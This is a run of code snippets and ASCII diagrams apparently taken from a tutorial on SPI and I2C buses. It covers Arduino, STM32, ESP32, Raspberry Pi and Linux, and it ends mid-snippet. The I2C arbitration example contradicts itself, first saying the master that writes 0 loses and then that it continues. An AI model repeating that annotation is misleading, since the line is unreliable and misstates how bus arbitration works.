const int BUTTON_PIN = 2;
const int SENSOR_PIN = A0;

if (!SD.begin(CS_PIN)) {
    Serial.println("SD card failed!");
    while (1);  // Halt
}

// Bad
int x = analogRead(A0);

// Good
int lightLevel = analogRead(LIGHT_SENSOR_PIN);

// Calculate distance from ultrasonic sensor
// Formula: distance (cm) = duration (µs) × 0.0343 / 2
// Division by 2 accounts for round-trip time
float distance = duration * 0.0343 / 2;

For high-speed SPI (> 20 MHz):
- Series termination: 22-33Ω resistor near source
- Parallel termination: 50Ω to VCC/GND on long lines
- RC termination: For mixed impedance environments

         ___     ___     ___     ___     ___     ___     ___     ___
SCLK  __|   |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___
         ^       ^       ^       ^       ^       ^       ^       ^
         |       |       |       |       |       |       |       |
      Sample  Sample  Sample  Sample  Sample  Sample  Sample  Sample
      (rising edge)

CS    ___                                                             ___
         |___________________________________________________________|

         ____    ____    ____    ____    ____    ____    ____    ____
MOSI  __|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|__|_D0_|__
      (MSB)                                                     (LSB)

         ____    ____    ____    ____    ____    ____    ____    ____
MISO  __|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|__|_D0_|__

      Setup on falling edge, Sample on rising edge

         ___     ___     ___     ___     ___     ___     ___     ___
SCLK  __|   |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___
             ^       ^       ^       ^       ^       ^       ^       ^
             |       |       |       |       |       |       |       |
          Sample  Sample  Sample  Sample  Sample  Sample  Sample  Sample
          (falling edge)

CS    ___                                                             ___
         |___________________________________________________________|

      ________    ____    ____    ____    ____    ____    ____    _____
MOSI          |__|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|_D0

      ________    ____    ____    ____    ____    ____    ____    _____
MISO          |__|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|_D0

      Setup on rising edge, Sample on falling edge

      ___     ___     ___     ___     ___     ___     ___     ___
SCLK     |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___
             ^       ^       ^       ^       ^       ^       ^       ^
             |       |       |       |       |       |       |       |
          Sample  Sample  Sample  Sample  Sample  Sample  Sample  Sample
          (falling edge)

CS    ___                                                             ___
         |___________________________________________________________|

         ____    ____    ____    ____    ____    ____    ____    ____
MOSI  __|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|__|_D0_|__

         ____    ____    ____    ____    ____    ____    ____    ____
MISO  __|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|__|_D0_|__

      Setup on rising edge, Sample on falling edge

      ___     ___     ___     ___     ___     ___     ___     ___
SCLK     |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___
         ^       ^       ^       ^       ^       ^       ^       ^
         |       |       |       |       |       |       |       |
      Sample  Sample  Sample  Sample  Sample  Sample  Sample  Sample
      (rising edge)

CS    ___                                                             ___
         |___________________________________________________________|

      ________    ____    ____    ____    ____    ____    ____    _____
MOSI          |__|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|_D0

      ________    ____    ____    ____    ____    ____    ____    _____
MISO          |__|_D7_|__|_D6_|__|_D5_|__|_D4_|__|_D3_|__|_D2_|__|_D1_|_D0

      Setup on falling edge, Sample on rising edge

         t_CSS      t_CLK       t_SU  t_H     t_CSH     t_CSW
         <-->       <--->       <-> <->       <-->      <--->
CS    ___    ________________________    __________________________    ___
         |__|                        |__|                          |__|

              ___     ___     ___           ___     ___     ___
SCLK  _______|   |___|   |___|   |_________|   |___|   |___|   |________

                  _______________                 _______________
MOSI  ___________|     DATA      |_______________|     DATA      |________
                  <------------->
                   Valid Window

              t_r: Rise time
              t_f: Fall time

#include <SPI.h>

const int chipSelectPin = 10;

void setup() {
  // Initialize SPI pins
  pinMode(chipSelectPin, OUTPUT);
  digitalWrite(chipSelectPin, HIGH);  // Deselect slave initially

  // Initialize SPI library
  SPI.begin();

  // Configure SPI settings
  // Max speed: 4 MHz, MSB first, Mode 0
  SPI.beginTransaction(SPISettings(4000000, MSBFIRST, SPI_MODE0));
}

void loop() {
  // Select slave device
  digitalWrite(chipSelectPin, LOW);

  // Send a byte and receive response simultaneously
  byte command = 0x3A;  // Example command
  byte response = SPI.transfer(command);

  // Send multiple bytes
  byte dataToSend[] = {0x01, 0x02, 0x03};
  for (int i = 0; i < 3; i++) {
    byte receivedByte = SPI.transfer(dataToSend[i]);
  }

  // Deselect slave
  digitalWrite(chipSelectPin, HIGH);

  delay(1000);
}

#include "stm32f4xx_hal.h"

SPI_HandleTypeDef hspi1;

void SPI_Init(void) {
    hspi1.Instance = SPI1;
    hspi1.Init.Mode = SPI_MODE_MASTER;
    hspi1.Init.Direction = SPI_DIRECTION_2LINES;
    hspi1.Init.DataSize = SPI_DATASIZE_8BIT;
    hspi1.Init.CLKPolarity = SPI_POLARITY_LOW;    // CPOL = 0
    hspi1.Init.CLKPhase = SPI_PHASE_1EDGE;        // CPHA = 0
    hspi1.Init.NSS = SPI_NSS_SOFT;
    hspi1.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_16;
    hspi1.Init.FirstBit = SPI_FIRSTBIT_MSB;
    HAL_SPI_Init(&hspi1);
}

void SPI_Write_Read(uint8_t *txData, uint8_t *rxData, uint16_t size) {
    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_RESET);  // CS LOW
    HAL_SPI_TransmitReceive(&hspi1, txData, rxData, size, 100);
    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_SET);    // CS HIGH
}

#include <SPI.h>

SPIClass spi(HSPI);  // Use HSPI bus
const int CS_PIN = 15;

void setup() {
  spi.begin(14, 12, 13, CS_PIN);  // SCLK, MISO, MOSI, SS
  pinMode(CS_PIN, OUTPUT);
  digitalWrite(CS_PIN, HIGH);
}

uint8_t readRegister(uint8_t reg) {
  digitalWrite(CS_PIN, LOW);
  spi.transfer(reg | 0x80);  // Read bit set
  uint8_t value = spi.transfer(0x00);  // Dummy byte to read
  digitalWrite(CS_PIN, HIGH);
  return value;
}

void writeRegister(uint8_t reg, uint8_t value) {
  digitalWrite(CS_PIN, LOW);
  spi.transfer(reg & 0x7F);  // Write bit clear
  spi.transfer(value);
  digitalWrite(CS_PIN, HIGH);
}

import spidev
import time

# Initialize SPI
spi = spidev.SpiDev()
spi.open(0, 0)  # Bus 0, Device 0 (CE0)

# Configure SPI
spi.max_speed_hz = 1000000  # 1 MHz
spi.mode = 0  # SPI Mode 0 (CPOL=0, CPHA=0)
spi.bits_per_word = 8
spi.lsbfirst = False  # MSB first

def read_register(reg_addr):
    """Read a single register from SPI device"""
    # Send register address with read bit
    response = spi.xfer2([reg_addr | 0x80, 0x00])
    return response[1]

def write_register(reg_addr, value):
    """Write a single register to SPI device"""
    spi.xfer2([reg_addr & 0x7F, value])

def read_multiple_bytes(reg_addr, num_bytes):
    """Read multiple consecutive bytes"""
    command = [reg_addr | 0x80] + [0x00] * num_bytes
    response = spi.xfer2(command)
    return response[1:]  # Skip first byte (command echo)

# Example: Read WHO_AM_I register (common in sensors)
device_id = read_register(0x0F)
print(f"Device ID: 0x{device_id:02X}")

# Example: Write configuration
write_register(0x20, 0x47)  # Enable device, set data rate

# Cleanup
spi.close()

#include <bcm2835.h>
#include <stdio.h>

#define CS_PIN RPI_GPIO_P1_24  // CE0

void setup_spi() {
    if (!bcm2835_init()) {
        printf("bcm2835_init failed\n");
        return;
    }

    if (!bcm2835_spi_begin()) {
        printf("bcm2835_spi_begin failed\n");
        return;
    }

    // Configure SPI
    bcm2835_spi_setBitOrder(BCM2835_SPI_BIT_ORDER_MSBFIRST);
    bcm2835_spi_setDataMode(BCM2835_SPI_MODE0);
    bcm2835_spi_setClockDivider(BCM2835_SPI_CLOCK_DIVIDER_256);  // ~1 MHz
    bcm2835_spi_chipSelect(BCM2835_SPI_CS0);
    bcm2835_spi_setChipSelectPolarity(BCM2835_SPI_CS0, LOW);
}

uint8_t read_register(uint8_t reg) {
    uint8_t tx_data[2] = {reg | 0x80, 0x00};
    uint8_t rx_data[2];

    bcm2835_spi_transfern((char*)tx_data, (char*)rx_data, 2);
    return rx_data[1];
}

void write_register(uint8_t reg, uint8_t value) {
    uint8_t data[2] = {reg & 0x7F, value};
    bcm2835_spi_writenb((char*)data, 2);
}

int main() {
    setup_spi();

    // Read device ID
    uint8_t id = read_register(0x0F);
    printf("Device ID: 0x%02X\n", id);

    // Write configuration
    write_register(0x20, 0x47);

    // Cleanup
    bcm2835_spi_end();
    bcm2835_close();
    return 0;
}

#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/spi/spidev.h>
#include <string.h>

int spi_fd;

int spi_init(const char *device) {
    uint8_t mode = SPI_MODE_0;
    uint8_t bits = 8;
    uint32_t speed = 1000000;  // 1 MHz

    spi_fd = open(device, O_RDWR);
    if (spi_fd < 0) {
        perror("Failed to open SPI device");
        return -1;
    }

    // Set SPI mode
    if (ioctl(spi_fd, SPI_IOC_WR_MODE, &mode) < 0) {
        perror("Failed to set SPI mode");
        return -1;
    }

    // Set bits per word
    if (ioctl(spi_fd, SPI_IOC_WR_BITS_PER_WORD, &bits) < 0) {
        perror("Failed to set bits per word");
        return -1;
    }

    // Set max speed
    if (ioctl(spi_fd, SPI_IOC_WR_MAX_SPEED_HZ, &speed) < 0) {
        perror("Failed to set max speed");
        return -1;
    }

    return 0;
}

int spi_transfer(uint8_t *tx_data, uint8_t *rx_data, int length) {
    struct spi_ioc_transfer transfer = {
        .tx_buf = (unsigned long)tx_data,
        .rx_buf = (unsigned long)rx_data,
        .len = length,
        .speed_hz = 1000000,
        .bits_per_word = 8,
        .delay_usecs = 0,
    };

    return ioctl(spi_fd, SPI_IOC_MESSAGE(1), &transfer);
}

int main() {
    uint8_t tx_data[2] = {0x0F | 0x80, 0x00};
    uint8_t rx_data[2] = {0};

    if (spi_init("/dev/spidev0.0") < 0) {
        return -1;
    }

    // Transfer data
    if (spi_transfer(tx_data, rx_data, 2) < 0) {
        perror("SPI transfer failed");
        close(spi_fd);
        return -1;
    }

    printf("Device ID: 0x%02X\n", rx_data[1]);

    close(spi_fd);
    return 0;
}

#include <stdint.h>

// STM32F4 SPI1 register definitions
#define SPI1_BASE     0x40013000
#define SPI1_CR1      (*(volatile uint32_t *)(SPI1_BASE + 0x00))
#define SPI1_CR2      (*(volatile uint32_t *)(SPI1_BASE + 0x04))
#define SPI1_SR       (*(volatile uint32_t *)(SPI1_BASE + 0x08))
#define SPI1_DR       (*(volatile uint32_t *)(SPI1_BASE + 0x0C))

// SPI Control Register bits
#define SPI_CR1_MSTR    (1 << 2)   // Master mode
#define SPI_CR1_SPE     (1 << 6)   // SPI enable
#define SPI_CR1_BR_DIV2 (0 << 3)   // Baud rate prescaler
#define SPI_CR1_BR_DIV16 (3 << 3)
#define SPI_CR1_CPOL    (1 << 1)   // Clock polarity
#define SPI_CR1_CPHA    (1 << 0)   // Clock phase
#define SPI_CR1_SSM     (1 << 9)   // Software slave management
#define SPI_CR1_SSI     (1 << 8)   // Internal slave select

// SPI Status Register bits
#define SPI_SR_TXE      (1 << 1)   // Transmit buffer empty
#define SPI_SR_RXNE     (1 << 0)   // Receive buffer not empty
#define SPI_SR_BSY      (1 << 7)   // Busy flag

void spi1_init(void) {
    // Enable SPI1 clock (assuming RCC already configured)
    // Configure as master, Mode 0, 1 MHz
    SPI1_CR1 = SPI_CR1_MSTR | SPI_CR1_BR_DIV16 | SPI_CR1_SSM | SPI_CR1_SSI;
    SPI1_CR1 |= SPI_CR1_SPE;  // Enable SPI
}

uint8_t spi1_transfer(uint8_t data) {
    // Wait for TX buffer empty
    while (!(SPI1_SR & SPI_SR_TXE));

    // Write data to transmit
    SPI1_DR = data;

    // Wait for receive buffer not empty
    while (!(SPI1_SR & SPI_SR_RXNE));

    // Read received data
    return (uint8_t)SPI1_DR;
}

void spi1_wait_busy(void) {
    while (SPI1_SR & SPI_SR_BSY);
}

#include <SPI.h>

// W25Q Flash Commands
#define CMD_WRITE_ENABLE    0x06
#define CMD_WRITE_DISABLE   0x04
#define CMD_READ_STATUS_1   0x05
#define CMD_READ_STATUS_2   0x35
#define CMD_PAGE_PROGRAM    0x02
#define CMD_READ_DATA       0x03
#define CMD_SECTOR_ERASE    0x20
#define CMD_CHIP_ERASE      0xC7
#define CMD_JEDEC_ID        0x9F

const int CS_PIN = 10;

void setup() {
  Serial.begin(115200);
  pinMode(CS_PIN, OUTPUT);
  digitalWrite(CS_PIN, HIGH);

  SPI.begin();
  SPI.beginTransaction(SPISettings(10000000, MSBFIRST, SPI_MODE0));

  // Read JEDEC ID
  uint32_t jedec_id = readJEDECID();
  Serial.print("JEDEC ID: 0x");
  Serial.println(jedec_id, HEX);
}

uint32_t readJEDECID() {
  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_JEDEC_ID);
  uint32_t id = SPI.transfer(0) << 16;
  id |= SPI.transfer(0) << 8;
  id |= SPI.transfer(0);
  digitalWrite(CS_PIN, HIGH);
  return id;
}

uint8_t readStatusRegister() {
  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_READ_STATUS_1);
  uint8_t status = SPI.transfer(0);
  digitalWrite(CS_PIN, HIGH);
  return status;
}

void waitBusy() {
  while (readStatusRegister() & 0x01) {
    delay(1);
  }
}

void writeEnable() {
  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_WRITE_ENABLE);
  digitalWrite(CS_PIN, HIGH);
}

void readData(uint32_t address, uint8_t *buffer, uint16_t length) {
  waitBusy();

  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_READ_DATA);
  SPI.transfer((address >> 16) & 0xFF);
  SPI.transfer((address >> 8) & 0xFF);
  SPI.transfer(address & 0xFF);

  for (uint16_t i = 0; i < length; i++) {
    buffer[i] = SPI.transfer(0);
  }
  digitalWrite(CS_PIN, HIGH);
}

void writePage(uint32_t address, uint8_t *data, uint16_t length) {
  // Length must be <= 256 bytes and not cross page boundary
  waitBusy();
  writeEnable();

  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_PAGE_PROGRAM);
  SPI.transfer((address >> 16) & 0xFF);
  SPI.transfer((address >> 8) & 0xFF);
  SPI.transfer(address & 0xFF);

  for (uint16_t i = 0; i < length; i++) {
    SPI.transfer(data[i]);
  }
  digitalWrite(CS_PIN, HIGH);

  waitBusy();
}

void eraseSector(uint32_t address) {
  // Erases 4KB sector at address
  waitBusy();
  writeEnable();

  digitalWrite(CS_PIN, LOW);
  SPI.transfer(CMD_SECTOR_ERASE);
  SPI.transfer((address >> 16) & 0xFF);
  SPI.transfer((address >> 8) & 0xFF);
  SPI.transfer(address & 0xFF);
  digitalWrite(CS_PIN, HIGH);

  waitBusy();
}

void loop() {
  // Example usage
  uint8_t write_data[] = "Hello, SPI Flash!";
  uint8_t read_buffer[32];

  // Erase sector 0
  eraseSector(0x000000);

  // Write data to page 0
  writePage(0x000000, write_data, sizeof(write_data));

  // Read data back
  readData(0x000000, read_buffer, sizeof(write_data));

  Serial.print("Read: ");
  Serial.println((char*)read_buffer);

  delay(5000);
}

#include "stm32f4xx_hal.h"

SPI_HandleTypeDef hspi1;
DMA_HandleTypeDef hdma_spi1_tx;
DMA_HandleTypeDef hdma_spi1_rx;

volatile uint8_t transfer_complete = 0;

void SPI1_DMA_Init(void) {
    // Enable DMA clocks
    __HAL_RCC_DMA2_CLK_ENABLE();

    // Configure DMA for SPI TX
    hdma_spi1_tx.Instance = DMA2_Stream3;
    hdma_spi1_tx.Init.Channel = DMA_CHANNEL_3;
    hdma_spi1_tx.Init.Direction = DMA_MEMORY_TO_PERIPH;
    hdma_spi1_tx.Init.PeriphInc = DMA_PINC_DISABLE;
    hdma_spi1_tx.Init.MemInc = DMA_MINC_ENABLE;
    hdma_spi1_tx.Init.PeriphDataAlignment = DMA_PDATAALIGN_BYTE;
    hdma_spi1_tx.Init.MemDataAlignment = DMA_MDATAALIGN_BYTE;
    hdma_spi1_tx.Init.Mode = DMA_NORMAL;
    hdma_spi1_tx.Init.Priority = DMA_PRIORITY_HIGH;
    HAL_DMA_Init(&hdma_spi1_tx);
    __HAL_LINKDMA(&hspi1, hdmatx, hdma_spi1_tx);

    // Configure DMA for SPI RX
    hdma_spi1_rx.Instance = DMA2_Stream2;
    hdma_spi1_rx.Init.Channel = DMA_CHANNEL_3;
    hdma_spi1_rx.Init.Direction = DMA_PERIPH_TO_MEMORY;
    hdma_spi1_rx.Init.PeriphInc = DMA_PINC_DISABLE;
    hdma_spi1_rx.Init.MemInc = DMA_MINC_ENABLE;
    hdma_spi1_rx.Init.PeriphDataAlignment = DMA_PDATAALIGN_BYTE;
    hdma_spi1_rx.Init.MemDataAlignment = DMA_MDATAALIGN_BYTE;
    hdma_spi1_rx.Init.Mode = DMA_NORMAL;
    hdma_spi1_rx.Init.Priority = DMA_PRIORITY_HIGH;
    HAL_DMA_Init(&hdma_spi1_rx);
    __HAL_LINKDMA(&hspi1, hdmarx, hdma_spi1_rx);

    // Enable DMA interrupts
    HAL_NVIC_SetPriority(DMA2_Stream3_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(DMA2_Stream3_IRQn);
    HAL_NVIC_SetPriority(DMA2_Stream2_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(DMA2_Stream2_IRQn);
}

void SPI_DMA_TransmitReceive(uint8_t *tx_data, uint8_t *rx_data, uint16_t size) {
    transfer_complete = 0;

    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_RESET);  // CS LOW
    HAL_SPI_TransmitReceive_DMA(&hspi1, tx_data, rx_data, size);

    // Wait for transfer to complete (or use interrupt callback)
    while (!transfer_complete);

    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_SET);    // CS HIGH
}

// DMA transfer complete callback
void HAL_SPI_TxRxCpltCallback(SPI_HandleTypeDef *hspi) {
    transfer_complete = 1;
}

// DMA interrupt handlers
void DMA2_Stream3_IRQHandler(void) {
    HAL_DMA_IRQHandler(&hdma_spi1_tx);
}

void DMA2_Stream2_IRQHandler(void) {
    HAL_DMA_IRQHandler(&hdma_spi1_rx);
}

Standard SPI:  1 bit/clock (MOSI or MISO)
Dual SPI:      2 bits/clock (IO0, IO1)
Quad SPI:      4 bits/clock (IO0, IO1, IO2, IO3)

#include "stm32f4xx_hal.h"

QSPI_HandleTypeDef hqspi;

void QSPI_Init(void) {
    hqspi.Instance = QUADSPI;
    hqspi.Init.ClockPrescaler = 1;
    hqspi.Init.FifoThreshold = 4;
    hqspi.Init.SampleShifting = QSPI_SAMPLE_SHIFTING_HALFCYCLE;
    hqspi.Init.FlashSize = 23;  // 2^(23+1) = 16MB
    hqspi.Init.ChipSelectHighTime = QSPI_CS_HIGH_TIME_1_CYCLE;
    hqspi.Init.ClockMode = QSPI_CLOCK_MODE_0;
    HAL_QSPI_Init(&hqspi);
}

void QSPI_ReadFast(uint32_t address, uint8_t *data, uint32_t size) {
    QSPI_CommandTypeDef cmd;

    cmd.InstructionMode = QSPI_INSTRUCTION_1_LINE;
    cmd.Instruction = 0xEB;  // Fast Read Quad I/O
    cmd.AddressMode = QSPI_ADDRESS_4_LINES;
    cmd.AddressSize = QSPI_ADDRESS_24_BITS;
    cmd.Address = address;
    cmd.AlternateByteMode = QSPI_ALTERNATE_BYTES_4_LINES;
    cmd.AlternateBytesSize = QSPI_ALTERNATE_BYTES_8_BITS;
    cmd.AlternateBytes = 0x00;
    cmd.DummyCycles = 4;
    cmd.DataMode = QSPI_DATA_4_LINES;
    cmd.NbData = size;
    cmd.DdrMode = QSPI_DDR_MODE_DISABLE;
    cmd.SIOOMode = QSPI_SIOO_INST_EVERY_CMD;

    HAL_QSPI_Command(&hqspi, &cmd, HAL_QPSI_TIMEOUT_DEFAULT_VALUE);
    HAL_QSPI_Receive(&hqspi, data, HAL_QPSI_TIMEOUT_DEFAULT_VALUE);
}

#include "stm32f4xx_hal.h"

SPI_HandleTypeDef hspi1;
volatile uint8_t spi_rx_buffer[256];
volatile uint8_t spi_tx_buffer[256];
volatile uint16_t spi_rx_index = 0;
volatile uint16_t spi_tx_index = 0;
volatile uint16_t spi_transfer_size = 0;
volatile uint8_t spi_busy = 0;

void SPI_IT_Init(void) {
    hspi1.Instance = SPI1;
    hspi1.Init.Mode = SPI_MODE_MASTER;
    hspi1.Init.Direction = SPI_DIRECTION_2LINES;
    hspi1.Init.DataSize = SPI_DATASIZE_8BIT;
    hspi1.Init.CLKPolarity = SPI_POLARITY_LOW;
    hspi1.Init.CLKPhase = SPI_PHASE_1EDGE;
    hspi1.Init.NSS = SPI_NSS_SOFT;
    hspi1.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_16;
    hspi1.Init.FirstBit = SPI_FIRSTBIT_MSB;
    HAL_SPI_Init(&hspi1);

    // Enable SPI interrupt
    HAL_NVIC_SetPriority(SPI1_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(SPI1_IRQn);
}

void SPI_IT_TransmitReceive(uint8_t *tx_data, uint8_t *rx_data, uint16_t size) {
    spi_rx_index = 0;
    spi_tx_index = 0;
    spi_transfer_size = size;
    spi_busy = 1;

    memcpy((void*)spi_tx_buffer, tx_data, size);

    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_RESET);  // CS LOW
    HAL_SPI_TransmitReceive_IT(&hspi1, (uint8_t*)spi_tx_buffer,
                               (uint8_t*)spi_rx_buffer, size);
}

// SPI transfer complete callback
void HAL_SPI_TxRxCpltCallback(SPI_HandleTypeDef *hspi) {
    HAL_GPIO_WritePin(GPIOA, GPIO_PIN_4, GPIO_PIN_SET);  // CS HIGH
    spi_busy = 0;
}

void SPI1_IRQHandler(void) {
    HAL_SPI_IRQHandler(&hspi1);
}

// Simple token-passing multi-master SPI
const int CS_PIN = 10;
const int TOKEN_PIN = 8;  // Token indicates bus ownership

bool spi_acquire_bus(uint16_t timeout_ms) {
  uint32_t start = millis();

  // Wait for token
  while (digitalRead(TOKEN_PIN) == HIGH) {
    if (millis() - start > timeout_ms) {
      return false;  // Timeout
    }
    delay(1);
  }

  // Claim token
  pinMode(TOKEN_PIN, OUTPUT);
  digitalWrite(TOKEN_PIN, HIGH);
  return true;
}

void spi_release_bus() {
  digitalWrite(TOKEN_PIN, LOW);
  pinMode(TOKEN_PIN, INPUT);
}

// Usage
if (spi_acquire_bus(100)) {
  digitalWrite(CS_PIN, LOW);
  SPI.transfer(data);
  digitalWrite(CS_PIN, HIGH);
  spi_release_bus();
} else {
  Serial.println("Bus acquisition timeout");
}

// Always wrap transfers in CS control
digitalWrite(CS, LOW);
// ... SPI operations ...
digitalWrite(CS, HIGH);

// For critical timing, disable interrupts
noInterrupts();
digitalWrite(CS, LOW);
SPI.transfer(data);
digitalWrite(CS, HIGH);
interrupts();

// Daisy chain method (saves CS pins)
// Data flows through all slaves
digitalWrite(CS_SHARED, LOW);
SPI.transfer(dataForSlave1);
SPI.transfer(dataForSlave2);
SPI.transfer(dataForSlave3);
digitalWrite(CS_SHARED, HIGH);

// Individual CS method (parallel addressing)
digitalWrite(CS_SLAVE1, LOW);
SPI.transfer(dataForSlave1);
digitalWrite(CS_SLAVE1, HIGH);

[START] [7-bit Address] [R/W] [ACK] [8-bit Data] [ACK] ... [8-bit Data] [ACK/NACK] [STOP]

S | Slave Addr (7-bit) | W(0) | ACK | Data Byte | ACK | Data Byte | ACK | P

S | Slave Addr (7-bit) | R(1) | ACK | Data Byte | ACK | Data Byte | NACK | P

S | Slave Addr | W(0) | ACK | Register Addr | ACK | Sr | Slave Addr | R(1) | ACK | Data | NACK | P

Master writes data → Slave ACKs → Slave holds SCL LOW →
Slave processes data → Slave releases SCL → Transfer continues

Rp(min) = (VDD - VOL(max)) / IOL
Rp(max) = tr / (0.8473 × Cb)

Rp(min) = (3.3V - 0.4V) / 3mA = 967Ω
Rp(max) = 1000ns / (0.8473 × 200pF) = 5.9kΩ

Choose: 4.7kΩ (within range)

[A6 A5 A4 A3 A2 A1 A0 R/W]

Device Base: 0x50 (0b1010000)
With A0=1:    0x51 (0b1010001)
With A1=1:    0x52 (0b1010010)
With A0=A1=1: 0x53 (0b1010011)

[11110 A9 A8 R/W] [ACK] [A7 A6 A5 A4 A3 A2 A1 A0] [ACK]

Binary: 10 1010 0101
First byte:  11110 10 0 = 0xF4 (Write)
Second byte: 1010 0101 = 0xA5

Master A transmits: 1 0 1 0 1 1 0
Master B transmits: 1 0 1 0 0 1 1
                            ↑
Master B loses (wrote 0, stays on bus)
Master A loses (wrote 1, saw 0, backs off)
Master B continues as bus master

Master 1 pulls SCL LOW  ────┐        ┌────
                            │        │
Master 2 pulls SCL LOW  ────┘        └────
                            ↑        ↑
                        Both LOW  Both released

#include <Wire.h>

#define SLAVE_ADDR 0x68  // MPU6050 address

void setup() {
  Wire.begin();        // Join I2C bus as master
  Serial.begin(9600);

  // Wake up MPU6050
  Wire.beginTransmission(SLAVE_ADDR);
  Wire.write(0x6B);    // PWR_MGMT_1 register
  Wire.write(0);       // Set to 0 to wake up
  Wire.endTransmission(true);
}

void loop() {
  // Read accelerometer X-axis (registers 0x3B, 0x3C)
  Wire.beginTransmission(SLAVE_ADDR);
  Wire.write(0x3B);    // Starting register
  Wire.endTransmission(false);  // Repeated START

  Wire.requestFrom(SLAVE_ADDR, 2, true);  // Request 2 bytes

  if (Wire.available() == 2) {
    int16_t accelX = Wire.read() << 8 | Wire.read();
    Serial.print("Accel X: ");
    Serial.println(accelX);
  }

  delay(1000);
}

#include <Wire.h>

#define SLAVE_ADDR 0x08

volatile byte dataToSend = 42;

void setup() {
  Wire.begin(SLAVE_ADDR);     // Join as slave
  Wire.onRequest(requestEvent);
  Wire.onReceive(receiveEvent);
  Serial.begin(9600);
}

void loop() {
  delay(100);
}

// Called when master requests data
void requestEvent() {
  Wire.write(dataToSend);
  Serial.println("Data sent to master");
}

// Called when master sends data
void receiveEvent(int numBytes) {
  while (Wire.available()) {
    byte received = Wire.read();
    Serial.print("Received: ");
    Serial.println(received);
  }
}

# Install tools
sudo apt-get install i2c-tools

# List I2C buses
i2cdetect -l

# Scan bus 1 for devices (shows addresses)
i2cdetect -y 1

# Read byte from register 0x00 of device at 0x68 on bus 1
i2cget -y 1 0x68 0x00 b

# Write byte 0x01 to register 0x6B of device at 0x68
i2cset -y 1 0x68 0x6B 0x01 b

# Read 6 bytes starting from register 0x3B (block read)
i2cget -y 1 0x68 0x3B i

# Dump all registers of device at 0x68
i2cdump -y 1 0x68 b

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/i2c-dev.h>

#define I2C_BUS "/dev/i2c-1"
#define DEVICE_ADDR 0x68

int main() {
    int file;
    char buffer[2];

    // Open I2C bus
    if ((file = open(I2C_BUS, O_RDWR)) < 0) {
        perror("Failed to open I2C bus");
        return 1;
    }

    // Set slave address
    if (ioctl(file, I2C_SLAVE, DEVICE_ADDR) < 0) {
        perror("Failed to acquire bus access");
        return 1;
    }

    // Write to register 0x6B
    buffer[0] = 0x6B;  // Register address
    buffer[1] = 0x00;  // Data to write
    if (write(file, buffer, 2) != 2) {
        perror("Failed to write");
        return 1;
    }

    // Read from register 0x3B
    buffer[0] = 0x3B;
    if (write(file, buffer, 1) != 1) {
        perror("Failed to set register");
        return 1;
    }

    if (read(file, buffer, 1) != 1) {
        perror("Failed to read");
        return 1;
    }

    printf("Read value: 0x%02X\n", buffer[0]);

    close(file);
    return 0;
}

// In main.c (generated by CubeMX)
hi2c1.Instance = I2C1;
hi2c1.Init.ClockSpeed = 100000;      // 100 kHz
hi2c1.Init.DutyCycle = I2C_DUTYCYCLE_2;
hi2c1.Init.OwnAddress1 = 0;
hi2c1.Init.AddressingMode = I2C_ADDRESSINGMODE_7BIT;
hi2c1.Init.DualAddressMode = I2C_DUALADDRESS_DISABLE;
hi2c1.Init.GeneralCallMode = I2C_GENERALCALL_DISABLE;
hi2c1.Init.NoStretchMode = I2C_NOSTRETCH_DISABLE;
HAL_I2C_Init(&hi2c1);

#define MPU6050_ADDR (0x68 << 1)  // Shifted for HAL
#define PWR_MGMT_1   0x6B
#define ACCEL_XOUT_H 0x3B

uint8_t data;
uint8_t buffer[6];
HAL_StatusTypeDef status;

// Write single byte to register
data = 0x00;
status = HAL_I2C_Mem_Write(&hi2c1, MPU6050_ADDR, PWR_MGMT_1,
                           I2C_MEMADD_SIZE_8BIT, &data, 1, HAL_MAX_DELAY);

if (status != HAL_OK) {
    // Handle error
}

// Read 6 bytes from register
status = HAL_I2C_Mem_Read(&hi2c1, MPU6050_ADDR, ACCEL_XOUT_H,
                          I2C_MEMADD_SIZE_8BIT, buffer, 6, HAL_MAX_DELAY);

if (status == HAL_OK) {
    int16_t accelX = (buffer[0] << 8) | buffer[1];
    int16_t accelY = (buffer[2] << 8) | buffer[3];
    int16_t accelZ = (buffer[4] << 8) | buffer[5];
}

// Master transmit (no register address)
uint8_t txData[] = {0x01, 0x02, 0x03};
HAL_I2C_Master_Transmit(&hi2c1, MPU6050_ADDR, txData, 3, HAL_MAX_DELAY);

// Master receive
uint8_t rxData[4];
HAL_I2C_Master_Receive(&hi2c1, MPU6050_ADDR, rxData, 4, HAL_MAX_DELAY);

# Enable I2C interface
sudo raspi-config  # Interface Options -> I2C -> Enable

# Install Python library
sudo apt-get install python3-smbus

import smbus
import time

